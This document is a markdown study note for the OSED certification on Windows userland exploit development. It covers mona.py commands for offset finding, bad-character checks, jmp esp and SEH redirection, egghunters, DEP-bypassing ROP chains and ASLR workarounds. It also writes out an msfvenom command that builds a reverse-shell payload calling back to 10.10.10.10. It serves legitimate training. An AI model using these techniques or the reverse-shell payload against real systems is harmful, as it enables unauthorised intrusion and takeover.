Skip to content

Latest commit

 

History

History
111 lines (82 loc) · 5.18 KB

File metadata and controls

111 lines (82 loc) · 5.18 KB
title Windows Exploit Development (OSED workflow)
type technique
tags
exploit-dev
osed
windows
stack-overflow
seh
dep-bypass
rop
egghunter
shellcode
mona
phase exploitation
date_created 2026-06-18
date_updated 2026-06-18
sources
osed-exp301
corelan-exploit-writing
mona-py-manual

Windows Exploit Development (OSED workflow)

What it is

The end-to-end workflow for the OSED (EXP-301) exam and classic Windows userland stack exploitation: fuzz a service to crash, gain instruction-pointer control, handle bad characters, redirect to your shellcode, and defeat DEP/ASLR. mona.py (in Immunity Debugger or WinDbg) drives every step. SEH-specific chains: [[seh-exploitation]]; Linux/glibc and heap: [[binary-exploitation]], [[heap-exploitation]]; shellcode/encoding: [[encoding-transformations]].

Toolchain

  • Debugger: Immunity Debugger or WinDbg + mona.py (Corelan). Set the working folder: !mona config -set workingfolder c:\mona\%p.
  • msf-pattern_create / msf-pattern_offset (or !mona pattern_create/pattern_offset), msfvenom, nasm_shell.rb.

1. Fuzz -> crash -> control EIP

# spike/boofuzz/custom: grow input until the service crashes; note the length
buf = b"A" * 5000
# in the debugger, EIP = 41414141 -> you control EIP at some offset

Find the exact offset:

!mona pattern_create 5000          # paste into PoC
!mona pattern_offset 41346941      # EIP value at crash -> exact offset
# verify: B*offset + "BBBB" + "C"*remainder  -> EIP == 42424242

2. Bad character enumeration

Bad chars (e.g. \x00\x0a\x0d) truncate or corrupt the payload; you must know them before choosing a jump address and encoding shellcode.

!mona bytearray -b "\x00"          # generates bytearray.bin + the byte string
# send "...\x01\x02...\xff" in place of shellcode, then compare memory to the file:
!mona compare -f c:\mona\bytearray.bin -a <ESP_addr>
# remove each flagged byte, regenerate, repeat until "unmodified"

3. Redirect execution

  • Direct EIP overwrite (jmp esp): find a jmp esp / call esp in a module without ASLR/DEP-rebase and free of bad chars:
!mona jmp -r esp -cpb "\x00\x0a\x0d"
!mona modules                       # pick a module: ASLR=False, Rebase=False, SafeSEH=False

Overwrite EIP with that address; ESP points at your shellcode (often after a short jmp/nops).

  • SEH overwrite: overwrite the SEH handler with a POP POP RET from a non-SafeSEH module, nSEH with a short jump. Full chain in [[seh-exploitation]]:
!mona seh -cpb "\x00\x0a\x0d"

4. Egghunter (when shellcode space is tiny)

If the overflow buffer is too small for full shellcode, drop a small (~32-byte) egghunter that scans process memory for an 8-byte tag (w00tw00t) prefixing your real shellcode (staged elsewhere in memory, e.g. another input field).

!mona egg -t w00t                   # generates the egghunter; uses NtAccessCheckAndAuditAlarm/syscall scan
# place egghunter at EIP target; place  "w00tw00t" + real_shellcode  anywhere reachable

5. DEP bypass via ROP

With DEP (NX), the stack is non-executable - you cannot jmp esp into shellcode. Build a ROP chain that calls VirtualProtect (mark shellcode RWX) or VirtualAlloc/WriteProcessMemory then jumps in.

!mona rop -m "*.dll" -cpb "\x00\x0a\x0d"      # generates rop_chains.txt (Python ready) + rop suggestions
# Use the VirtualProtect skeleton from rop_chains.txt; mona fills gadgets where possible,
# hand-fix the "[-]" gaps. Chain sets: lpAddress=shellcode, dwSize, flNewProtect=0x40 (RWX), lpflOldProtect.

VirtualProtect(addr, size, 0x40 PAGE_EXECUTE_READWRITE, writable_ptr) then return into the now-executable shellcode.

6. ASLR

If all useful modules are ASLR-enabled: find one module compiled without /DYNAMICBASE (!mona modules -> ASLR False) and source all gadgets/jmp from it; or use a partial EIP overwrite (overwrite only the low bytes that do not change under ASLR); or chain an info leak to defeat it.

7. Shellcode

# encode around bad chars; -e none if shellcode is already clean
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 \
  -b "\x00\x0a\x0d" -f python -v shellcode
  • Prepend a NOP sled / register-alignment stub (\x90 or arithmetic to fix ESP) before the decoder stub.
  • Restricted character sets: for alphanumeric-only buffers use -e x86/alpha_mixed (alphanumeric shellcode). For Unicode/wide-char (MultiByteToWideChar) overflows, use venetian shellcode (x86/unicode_mixed) with a known alignment register (BufferRegister).
  • Custom shellcode: assemble with nasm_shell.rb / nasm, null-free, test in a harness.

WinDbg / Immunity quick reference

!load narly ; !nmod          # list module protections (ASLR/DEP/SafeSEH) in WinDbg
!exchain                     # show the SEH chain
bp / g / p / t               # breakpoint / go / step-over / step-into
s -a 0 L?80000000 "string"   # search memory for a string/tag

Sources

  • OffSec EXP-301 / OSED syllabus (slug: osed-exp301).
  • Corelan "Exploit writing tutorial" series (slug: corelan-exploit-writing) (https://www.corelan.be/).
  • Corelan mona.py manual (slug: mona-py-manual) (https://github.com/corelan/mona).